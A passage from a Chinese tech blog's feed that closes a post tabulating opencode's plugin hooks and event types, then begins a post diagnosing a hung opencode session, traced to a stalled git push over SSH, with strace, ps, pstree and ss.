&lt;p&gt;**Live-only（不持久化）**的 &lt;code&gt;session.next.*&lt;&#x2F;code&gt; 事件：&lt;code&gt;text.delta&lt;&#x2F;code&gt;、&lt;code&gt;reasoning.delta&lt;&#x2F;code&gt;、&lt;code&gt;tool.input.delta&lt;&#x2F;code&gt;、&lt;code&gt;compaction.delta&lt;&#x2F;code&gt;——这些流式增量事件仅实时广播，不写 &lt;code&gt;event&lt;&#x2F;code&gt; 表。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;6-3-v1-yi-liu-session-shi-jian-9-ge&quot;&gt;6.3 V1 遗留 Session 事件（9 个）&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;#&lt;&#x2F;th&gt;&lt;th&gt;事件类型&lt;&#x2F;th&gt;&lt;th&gt;持久？&lt;&#x2F;th&gt;&lt;th&gt;关键字段&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;29&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.created&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;是&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, info }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Session 创建（写入 &lt;code&gt;session&lt;&#x2F;code&gt; 表）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;30&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.updated&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;是&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, info }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Session 更新&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;31&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.deleted&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;是&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Session 删除（级联删除所有子表）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;32&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;message.updated&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;是&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, info }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;消息更新（写入 V1 &lt;code&gt;message&lt;&#x2F;code&gt; 表）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;33&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;message.removed&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;是&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, messageID }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;消息删除&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;34&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;message.part.updated&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;是&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, part }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Part 更新（写入 V1 &lt;code&gt;part&lt;&#x2F;code&gt; 表，扣减&#x2F;增加 session token&#x2F;cost）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;35&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;message.part.removed&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;是&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, messageID, partID }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Part 删除&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;36&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;message.part.delta&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;否&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, messageID, partID, field, delta }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Part 流式增量&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;37&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.diff&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;否&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, diff[] }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;代码行增删统计&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;38&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.error&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;否&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID?, error }&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Session 错误&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;6-4-session-zhuang-tai-shi-jian-2-ge&quot;&gt;6.4 Session 状态事件（2 个）&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;#&lt;&#x2F;th&gt;&lt;th&gt;事件类型&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;39&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.status&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID, status: &quot;idle&quot;|&quot;retry&quot;|&quot;busy&quot; }&lt;&#x2F;code&gt; — 当前 agent 循环状态&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;40&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;session.idle&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{ sessionID }&lt;&#x2F;code&gt; — Session 进入空闲（已废弃）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;6-5-qi-ta-v2-shi-jian-48-ge&quot;&gt;6.5 其他 V2 事件（48 个）&lt;&#x2F;h3&gt;
&lt;p&gt;全部为 live-only（不持久化）。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;类别&lt;&#x2F;th&gt;&lt;th&gt;事件&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;权限（4）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;permission.v2.asked&lt;&#x2F;code&gt;, &lt;code&gt;permission.v2.replied&lt;&#x2F;code&gt;（V2）；&lt;code&gt;permission.asked&lt;&#x2F;code&gt;, &lt;code&gt;permission.replied&lt;&#x2F;code&gt;（V1）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;提问（5）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;question.v2.asked&lt;&#x2F;code&gt;, &lt;code&gt;question.v2.replied&lt;&#x2F;code&gt;, &lt;code&gt;question.v2.rejected&lt;&#x2F;code&gt;（V2）；&lt;code&gt;question.asked&lt;&#x2F;code&gt;, &lt;code&gt;question.replied&lt;&#x2F;code&gt;（V1）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;TUI（4）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;tui.prompt.append&lt;&#x2F;code&gt;, &lt;code&gt;tui.command.execute&lt;&#x2F;code&gt;, &lt;code&gt;tui.toast.show&lt;&#x2F;code&gt;, &lt;code&gt;tui.session.select&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;PTY（4）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;pty.created&lt;&#x2F;code&gt;, &lt;code&gt;pty.updated&lt;&#x2F;code&gt;, &lt;code&gt;pty.exited&lt;&#x2F;code&gt;, &lt;code&gt;pty.deleted&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;工作区与项目（5）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;workspace.ready&lt;&#x2F;code&gt;, &lt;code&gt;workspace.failed&lt;&#x2F;code&gt;, &lt;code&gt;workspace.status&lt;&#x2F;code&gt;, &lt;code&gt;worktree.ready&lt;&#x2F;code&gt;, &lt;code&gt;worktree.failed&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;服务端（3）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;server.connected&lt;&#x2F;code&gt;, &lt;code&gt;global.disposed&lt;&#x2F;code&gt;, &lt;code&gt;server.instance.disposed&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;安装（2）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;installation.updated&lt;&#x2F;code&gt;, &lt;code&gt;installation.update-available&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;文件系统（2）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;file.edited&lt;&#x2F;code&gt;, &lt;code&gt;file.watcher.updated&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;MCP（2）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;mcp.tools.changed&lt;&#x2F;code&gt;, &lt;code&gt;mcp.browser.open.failed&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;项目（2）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;project.updated&lt;&#x2F;code&gt;, &lt;code&gt;project.directories.updated&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;集成（2）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;integration.updated&lt;&#x2F;code&gt;, &lt;code&gt;integration.connection.updated&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;LSP（1）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;lsp.updated&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;IDE（1）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;ide.installed&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;VCS（1）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;vcs.branch.updated&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;其他（6）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;todo.updated&lt;&#x2F;code&gt;, &lt;code&gt;plugin.added&lt;&#x2F;code&gt;, &lt;code&gt;catalog.updated&lt;&#x2F;code&gt;, &lt;code&gt;reference.updated&lt;&#x2F;code&gt;, &lt;code&gt;models-dev.refreshed&lt;&#x2F;code&gt;, &lt;code&gt;command.executed&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;6-6-hook-yu-event-de-hui-zong&quot;&gt;6.6 Hook 与 Event 的汇总&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;类别&lt;&#x2F;th&gt;&lt;th&gt;数量&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Hook（总数）&lt;&#x2F;td&gt;&lt;td&gt;21&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;├─ Trigger Hook&lt;&#x2F;td&gt;&lt;td&gt;15（通过 &lt;code&gt;plugin.trigger()&lt;&#x2F;code&gt; 调用）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;└─ 生命周期 Hook&lt;&#x2F;td&gt;&lt;td&gt;6（&lt;code&gt;dispose&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;event&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;config&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;tool&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;auth&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;provider&lt;&#x2F;code&gt;）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Event 类型（总数）&lt;&#x2F;td&gt;&lt;td&gt;90&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;├─ 持久事件&lt;&#x2F;td&gt;&lt;td&gt;32（可 replay）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;└─ 瞬态事件&lt;&#x2F;td&gt;&lt;td&gt;58（live-only，不持久化）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;最活跃写入表&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;event&lt;&#x2F;code&gt;（每事件一 INSERT）、&lt;code&gt;session_message&lt;&#x2F;code&gt;（每持久事件一 INSERT 或 UPDATE）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;架构特点&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;event&lt;&#x2F;code&gt; Hook 接收全部 90 种事件的推送，是插件感知系统状态的唯一通道&lt;&#x2F;li&gt;
&lt;li&gt;只有 32 个 &lt;code&gt;session.next.*&lt;&#x2F;code&gt; 持久事件会同时写入 &lt;code&gt;event&lt;&#x2F;code&gt; 和 &lt;code&gt;session_message&lt;&#x2F;code&gt; 两张表&lt;&#x2F;li&gt;
&lt;li&gt;同一轮 agent 循环中，一个 assistant 应答对应&lt;strong&gt;一行&lt;&#x2F;strong&gt; &lt;code&gt;session_message&lt;&#x2F;code&gt;；&lt;code&gt;step.started&lt;&#x2F;code&gt; INSERT 该行，后续所有 text&#x2F;tool step 事件 UPDATE 同一行&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;experimental.chat.system.transform&lt;&#x2F;code&gt; 是修改 system prompt 的&lt;strong&gt;唯一 trigger Hook&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;tool.execute.before&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;tool.execute.after&lt;&#x2F;code&gt; 覆盖所有类型的工具（内置工具 + MCP 工具 + task 子 agent）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;层面&lt;&#x2F;th&gt;&lt;th&gt;设计选择&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;插件 Hook 分发&lt;&#x2F;td&gt;&lt;td&gt;遍历内建 hooks 数组，无优先级，无排序机制&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;插件间监控&lt;&#x2F;td&gt;&lt;td&gt;不可行 — 无 Hook lifecycle 事件，hooks 数组私有&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;System prompt 构造&lt;&#x2F;td&gt;&lt;td&gt;每轮动态重建，新鲜度优先，牺牲 LLM 缓存命中&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;数据库写入&lt;&#x2F;td&gt;&lt;td&gt;事件源模式，每事件一条 event + 一条 session_message（仅持久事件）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;数据库读取&lt;&#x2F;td&gt;&lt;td&gt;每次 LLM 调用从 compaction 点全量加载 session_message&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;数据清理&lt;&#x2F;td&gt;&lt;td&gt;无自动清理，靠手动删 session 或 revert&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>opencode 界面卡住不动排查</title>
        <published>2026-07-15T09:42:00+08:00</published>
        <updated>2026-09-11T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/07/opencode-卡住排查/"/>
        <id>https://vercel.juzhong.asia/2026/07/opencode-卡住排查/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/07/opencode-卡住排查/">&lt;h1 id=&quot;xian-xiang&quot;&gt;现象&lt;&#x2F;h1&gt;
&lt;p&gt;opencode 交互界面一直显示运行中，不输出任何新内容，像是卡死了一样。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;di-yi-fan-ying-strace&quot;&gt;第一反应：strace&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;code&gt;strace -p &amp;lt;pid&amp;gt;&lt;&#x2F;code&gt; 看一下卡在哪个系统调用上：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;strace -p 4188775
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;结果有&lt;strong&gt;大量输出&lt;&#x2F;strong&gt;，&lt;code&gt;epoll_wait&lt;&#x2F;code&gt; → &lt;code&gt;read&lt;&#x2F;code&gt; → &lt;code&gt;write&lt;&#x2F;code&gt; → &lt;code&gt;epoll_wait&lt;&#x2F;code&gt; 循环不断，并没有阻塞在某个系统调用上。&lt;&#x2F;p&gt;
&lt;p&gt;这说明进程本身在运行，事件循环在持续工作。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;huan-ge-si-lu-jin-cheng-zhuang-tai-zi-jin-cheng-shu&quot;&gt;换个思路：进程状态 + 子进程树&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;code&gt;strace&lt;&#x2F;code&gt; 输出太多看不出问题，那就从最常规的进程状态入手。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;kan-jin-cheng-zai-deng-shen-me&quot;&gt;看进程在等什么&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ps -p 4188775 -o pid,stat,wchan,cmd
# → 4188775  Sl+  do_epoll_wait  opencode --log-level DEBUG
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;do_epoll_wait&lt;&#x2F;code&gt; 只是某个采样时刻的快照。opencode 是事件循环模型，绝大多数时间都&lt;strong&gt;短暂地&lt;&#x2F;strong&gt;阻塞在 &lt;code&gt;epoll_wait&lt;&#x2F;code&gt; 上等待 I&#x2F;O 事件，&lt;code&gt;ps&lt;&#x2F;code&gt; 拍到的 &lt;code&gt;wchan&lt;&#x2F;code&gt; 几乎永远是 &lt;code&gt;do_epoll_wait&lt;&#x2F;code&gt;，不代表一直卡在同一个调用上。&lt;&#x2F;p&gt;
&lt;p&gt;但这个信息告诉我们一件事：&lt;strong&gt;进程是 S (sleeping) 状态，不是 R (running)，也不是 D (uninterruptible sleep)。没有死循环，没有内核态阻塞。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;kan-zi-jin-cheng-shu&quot;&gt;看子进程树&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;pstree -p 4188775
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输出：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;opencode(4188775)───git(2867)───ssh(2868)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;一目了然：opencode 下面挂着 &lt;code&gt;git push&lt;&#x2F;code&gt;，git 下面挂着 &lt;code&gt;ssh&lt;&#x2F;code&gt;。阻塞链条是 &lt;code&gt;opencode → git → ssh&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;再看 git 进程的状态：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ps -p 2867 -o pid,stat,wchan,etime,cmd
# → 2867  Ssl  do_wait  04:13  git push -u myself dev
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;git push 已经跑了 4 分多钟，在 &lt;code&gt;do_wait&lt;&#x2F;code&gt; 等待子进程 ssh 结束。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;ding-wei-xie-zi-jin-cheng-ssh-lian-jie-chu-liao-shen-me-wen-ti&quot;&gt;定位叶子进程：SSH 连接出了什么问题&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;kan-wang-luo-lian-jie&quot;&gt;看网络连接&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ss -tnp | grep 2868
# → ESTAB  0  293076  192.168.5.99:60362 → 20.205.243.166:22  users:((&amp;quot;ssh&amp;quot;,pid=2868,fd=3))
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;关键信息：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;字段&lt;&#x2F;th&gt;&lt;th&gt;值&lt;&#x2F;th&gt;&lt;th&gt;含义&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;State&lt;&#x2F;td&gt;&lt;td&gt;ESTAB&lt;&#x2F;td&gt;&lt;td&gt;TCP 连接已建立&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Recv-Q&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;没有待读数据&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Send-Q&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;293076 (~286KB)&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;发送缓冲区积压了 286KB&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;目的地址&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;20.205.243.166:22&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;GitHub SSH 端口&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;TCP 三次握手已完成，但 &lt;strong&gt;Send-Q 积压 286KB&lt;&#x2F;strong&gt;，说明本地发出了数据而 GitHub 端没有确认 TCP 报文。这是典型的网络不通畅：连接能建起来，但数据传不过去。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;kan-huan-jing-bian-liang&quot;&gt;看环境变量&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cat &amp;#x2F;proc&amp;#x2F;2868&amp;#x2F;environ | tr &amp;#x27;\0&amp;#x27; &amp;#x27;\n&amp;#x27; | grep -i proxy
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;HTTPS_PROXY=http:&amp;#x2F;&amp;#x2F;192.168.5.244:10808
HTTP_PROXY=http:&amp;#x2F;&amp;#x2F;192.168.5.244:10808
all_proxy=socks5:&amp;#x2F;&amp;#x2F;192.168.5.244:10808
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意：&lt;strong&gt;SSH 不使用 HTTP&#x2F;SOCKS 环境变量&lt;&#x2F;strong&gt;，它会直连目标主机的 22 端口。HTTP&#x2F;SOCKS 代理只对 HTTP 客户端和部分应用生效，SSH 不受影响。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;gen-yin&quot;&gt;根因&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;code&gt;git push&lt;&#x2F;code&gt; 使用 SSH 协议推送到 GitHub（&lt;code&gt;git@github.com:...&lt;&#x2F;code&gt;），SSH 直连 &lt;code&gt;github.com:22&lt;&#x2F;code&gt;。本地网络到 GitHub 22 端口的 TCP 路径不畅通（可能被防火墙阻断或被 QoS 限速）。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;pai-cha-si-lu-zong-jie&quot;&gt;排查思路总结&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;进程状态 (ps)                    ← 宏观：是 sleep &amp;#x2F; run &amp;#x2F; 内核阻塞？
    │
    ▼
子进程树 (pstree)                ← 谁在等谁？
    │
    ▼
叶子进程网络状态 (ss -tnp)        ← 网络有没有问题？
    │
    ▼
环境变量 (&amp;#x2F;proc&amp;#x2F;pid&amp;#x2F;environ)      ← 代理&amp;#x2F;环境因素
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;strace&lt;&#x2F;code&gt; 看到大量事件循环输出时，不要被干扰。事件循环模型下 &lt;code&gt;ps&lt;&#x2F;code&gt; 看到的 &lt;code&gt;epoll_wait&lt;&#x2F;code&gt; 几乎永远不变，关键是&lt;strong&gt;它等的那件事有没有进展&lt;&#x2F;strong&gt;——用 &lt;code&gt;pstree&lt;&#x2F;code&gt; 一层层追到最底层，看叶子进程的状态。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;di-er-ci-pai-cha-suo-zheng-qiang-lock-contention&quot;&gt;第二次排查：锁争抢（Lock Contention）&lt;&#x2F;h1&gt;
&lt;p&gt;同一天稍晚，另一个 opencode 进程（PID 138479）又卡住了。这次表现不同：CPU 占用 18%，看起来&quot;活着&quot;但响应极慢。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;chu-bu-guan-cha&quot;&gt;初步观察&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ps -p 138479 -o pid,stat,wchan,pcpu,cmd
# → 138479  Sl+  do_epoll_wait  18.0  opencode --log-level DEBUG

cat &amp;#x2F;proc&amp;#x2F;138479&amp;#x2F;status | grep -E &amp;#x27;State|VmRSS|Threads&amp;#x27;
# → State: R (running)
# → VmRSS: 790120 kB
# → Threads: 40
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意 &lt;code&gt;ps&lt;&#x2F;code&gt; 显示 &lt;code&gt;Sl+&lt;&#x2F;code&gt;（sleep），但 &lt;code&gt;&#x2F;proc&#x2F;pid&#x2F;status&lt;&#x2F;code&gt; 显示 &lt;code&gt;R（running）&lt;&#x2F;code&gt;。790MB RSS，40 个线程，18% CPU —— 进程在干活，但效率极低。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;strace-cai-yang&quot;&gt;strace 采样&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;strace -p 138479 -e trace=all -c -S time 2&amp;gt;&amp;amp;1 &amp;amp;
